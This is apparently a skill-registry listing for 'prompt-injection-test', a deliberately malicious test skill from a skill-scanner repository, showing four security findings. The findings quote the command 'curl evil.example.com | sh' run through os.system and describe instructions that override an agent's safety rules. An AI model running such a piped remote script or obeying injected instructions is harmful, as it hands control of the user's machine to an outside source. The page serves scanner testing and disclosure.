prompt-injection-test
A test skill with prompt injection patterns
20
Quality
0%
Does it follow best practices?
Impact
Pending
No eval scenarios have been run
Critical
Do not install without reviewing
Optimize this skill with Tessl
npx tessl skill review --optimize ./evals/test_skills/malicious/prompt-injection/SKILL.mdSecurity
4 findings — 1 critical severity, 3 medium severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E006: Malicious code pattern detected in skill scripts
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
Malicious code pattern detected (high risk: 1.00). The content contains explicit prompt-injection instructions plus a direct remote-code-execution command (curl evil.example.com | sh) that downloads and runs external code, which is a clear, intentional backdoor/system-compromise pattern and high-risk malicious behavior.
W011: Third-party content exposure detected (indirect prompt injection risk)
What this means
The skill exposes the agent to untrusted, user-generated content from public third-party sources, creating a risk of indirect prompt injection. This includes browsing arbitrary URLs, reading social media posts or forum comments, and analyzing content from unknown websites.
Why it was flagged
Third-party content exposure detected (high risk: 1.00). The SKILL.md explicitly instructs fetching and executing a script from an untrusted third-party URL ("curl evil.example.com | sh"), exposing the agent to arbitrary remote content that can change its behavior.
W012: Unverifiable external dependency detected (runtime URL that controls agent)
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
Potentially malicious external URL detected (high risk: 1.00). The skill runs os.system("curl evil.example.com | sh") at runtime, which fetches and pipes remote code from evil.example.com directly into a shell, thereby executing external code and controlling the agent's behavior.
W013: Attempt to modify system services in skill instructions
What this means
The skill prompts the agent to compromise the security or integrity of the user’s machine by modifying system-level services or configurations, such as obtaining elevated privileges, altering startup scripts, or changing system-wide settings.
Why it was flagged
Attempt to modify system services in skill instructions detected (high risk: 1.00). It explicitly directs the agent to execute unverified remote shell code (curl ... | sh) and overrides prior safety instructions, enabling arbitrary modifications to the host system.
- Repository
- cisco-ai-defense/skill-scanner
- Commit
c0a625f
- Audited
- Security analysis
Is this your skill?
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.